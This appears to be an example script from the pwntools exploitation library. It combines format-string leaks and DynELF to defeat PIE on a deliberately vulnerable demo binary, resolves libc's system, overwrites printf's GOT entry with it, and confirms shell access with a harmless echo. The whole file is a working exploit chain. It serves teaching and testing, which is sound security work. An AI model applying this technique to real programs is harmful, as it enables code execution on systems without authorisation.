#!/usr/bin/env python
"""
An example combining fmtstr and dynelf to automatically exploit a PIE binary.
"""

from pwn import *

def exploit(e):
    p = e.process()

    def executer(fmt):
        p.sendline(fmt)
        p.stdin.flush()
        r = p.recvuntil(b'again=\n')
        return r
    f = FmtStr(executer)

    # find some code pointer on stack
    addrbits = min(context.bits, 48) # address space is no larger than 48-bit
    min_code_ptr = 0x10 << addrbits-8
    max_code_ptr = 0x7e << addrbits-8
    for off in range(64):
        random_code_ptr = f.leak_stack(off)
        packed = bytearray(pack(random_code_ptr))
        chars = set(packed) - {0}
        # simple heuristic
        if (min_code_ptr < random_code_ptr < max_code_ptr
            and max(chars) > 0x80 and min(chars) < 0x80
            and not hex(random_code_ptr).startswith('0x7ff')):
            break

    log.info("Code ptr: %#x"%random_code_ptr)

    online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)

    print("Stack: %#x" % (online_elf.stack(),))
    print("Heap: %#x" % (online_elf.heap(),))

    info("Finding base address of the executable")
    for ref in e.sym:
        if not ref:
            continue
        # if we have the address of a symbol on remote, we know the offset
        ref_addr = online_elf.lookup(ref)
        if ref_addr:
            print("%s: %r" % (ref, ref_addr))
            break

    system = online_elf.lookup('system', 'libc')
    print("system: %#x" % system)

    # fix up the address
    e.address += ref_addr - e.sym[ref]

    # actual exploit: overwrite printf with system
    f.write(e.sym.got.printf, system)
    f.execute_writes()

    p.sendline(b'echo ::$(( 16 * 16 ))')
    p.recvuntil(b'::')
    line = p.recvline()
    assert line == b'256\n'
    p.sendline(b'exit')
    p.close()


for context.binary in 'printf-loop.native32', 'printf-loop.native':
    exploit(context.binary)
